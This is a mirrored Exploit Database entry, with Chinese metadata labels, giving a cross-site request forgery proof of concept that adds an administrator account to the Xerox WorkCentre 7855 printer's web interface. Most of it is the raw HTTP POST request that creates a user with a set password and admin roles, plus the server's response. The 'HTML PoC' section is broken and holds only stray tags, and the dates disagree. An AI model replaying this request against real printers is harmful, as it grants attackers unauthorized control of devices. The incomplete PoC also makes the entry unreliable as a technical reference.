XEROX WorkCentre 7855 Printer – Cross-Site Request Forgery (Add Admin)

Exploit Database
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作者： Ismail Tasdelen

日期： 2019-12-30
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/47815/

# Exploit Title: XEROX WorkCentre 7855 Printer - Cross-Site Request Forgery (Add Admin)

# Date: 2018-12-19

# Exploit Author: Ismail Tasdelen

# Vendor Homepage: https://www.xerox.com/

# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-7800-series/

# Software : Xerox Printer

# Product Version: WorkCentre® 7855

# Vulernability Type : Cross-Site Request Forgery (Add Admin)

# Vulenrability : Cross-Site Request Forgery

# CVE : N/A

# Description :

# The CSRF vulnerability was discovered in the WorkCentre® 7855 printer model of Xerox printer hardware.

# A request to add users is made in the Device User Database form field. This request is captured by

# the proxy. And a CSRF PoC HTML file is prepared. WorkCentre® 7855 printers allow CSRF. A request

# to add users is made in the Device User Database form field to the xerox.set URI.

# (The frmUserName value must have a unique name.)

HTTP POST Request :

POST /dummypost/xerox.set HTTP/1.1

Host: server

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 494

Origin: http://server

Connection: close

Referer: http://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp

Cookie: PageToShow=; statusSelected=n1; statusNumNodes=8; PHPSESSID=04dc6361e94c451ff4d7d1d3ef8e32cd; WebTimerPopupID=12; propSelected=n30; propNumNodes=115; propHierarchy=00010000000000000000001000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue

Upgrade-Insecure-Requests: 1

CSRFToken=67a23ff66bbdd5a1cdb95afa3a677807d74a5d74e2c1d55c576008e0a0399738b55e54353be4b069a3e68c761350654aa7e27fdcbfb9b43148aa3a1f6e8e5f7b&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1

HTTP Response :

HTTP/1.1 200 OK

Date: Thu, 19 Dec 2019 05:13:19 GMT

Server: Apache

Connection: close

Content-Type: text/html

Content-Length: 11947

CSRF HTML PoC :

<html>

<body>

</form>

</body>

</html>